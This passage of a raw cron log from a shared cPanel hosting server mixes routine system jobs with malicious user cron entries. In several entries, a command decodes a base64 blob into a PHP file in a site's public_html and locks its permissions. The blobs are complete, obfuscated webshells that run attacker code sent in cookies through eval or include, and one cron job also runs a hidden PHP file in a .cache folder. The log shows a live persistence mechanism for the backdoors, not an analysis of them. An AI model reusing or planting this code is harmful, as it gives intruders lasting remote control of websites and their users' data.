chmod 444 "$fp")
Mar  1 13:39:01 medusa CROND[11024]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:39:02 medusa CROND[11112]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:39:02 medusa CROND[11113]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 13:39:02 medusa CROND[11114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:39:02 medusa CROND[11115]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:39:02 medusa CROND[11116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:39:02 medusa CROND[11117]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:39:02 medusa CROND[11118]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:39:02 medusa CROND[11121]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:39:02 medusa CROND[11131]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:39:02 medusa CROND[11134]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:39:02 medusa CROND[11135]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:39:02 medusa CROND[11136]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:39:02 medusa CROND[11146]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:40:01 medusa CROND[3935]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 13:40:01 medusa CROND[4014]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:40:01 medusa CROND[4052]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:40:01 medusa CROND[4053]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 13:40:01 medusa CROND[4054]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:40:01 medusa CROND[4055]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 13:40:01 medusa CROND[4056]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:40:01 medusa CROND[4061]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:40:01 medusa CROND[4057]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:40:01 medusa CROND[4063]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:40:01 medusa CROND[4067]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:40:01 medusa CROND[4058]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:40:01 medusa CROND[4066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:40:01 medusa CROND[4075]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:40:01 medusa CROND[4076]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:40:01 medusa CROND[4080]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:40:01 medusa CROND[4059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:40:01 medusa CROND[4085]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:40:01 medusa CROND[4089]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:40:01 medusa CROND[4083]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:40:01 medusa CROND[4091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:40:01 medusa CROND[4106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:40:01 medusa CROND[4107]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:40:01 medusa CROND[4100]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:40:01 medusa CROND[4109]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 13:40:01 medusa CROND[4092]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:40:01 medusa CROND[4078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 13:40:01 medusa CROND[4071]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:41:01 medusa CROND[28681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:41:01 medusa CROND[28716]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:41:01 medusa CROND[28721]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:41:01 medusa CROND[28722]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
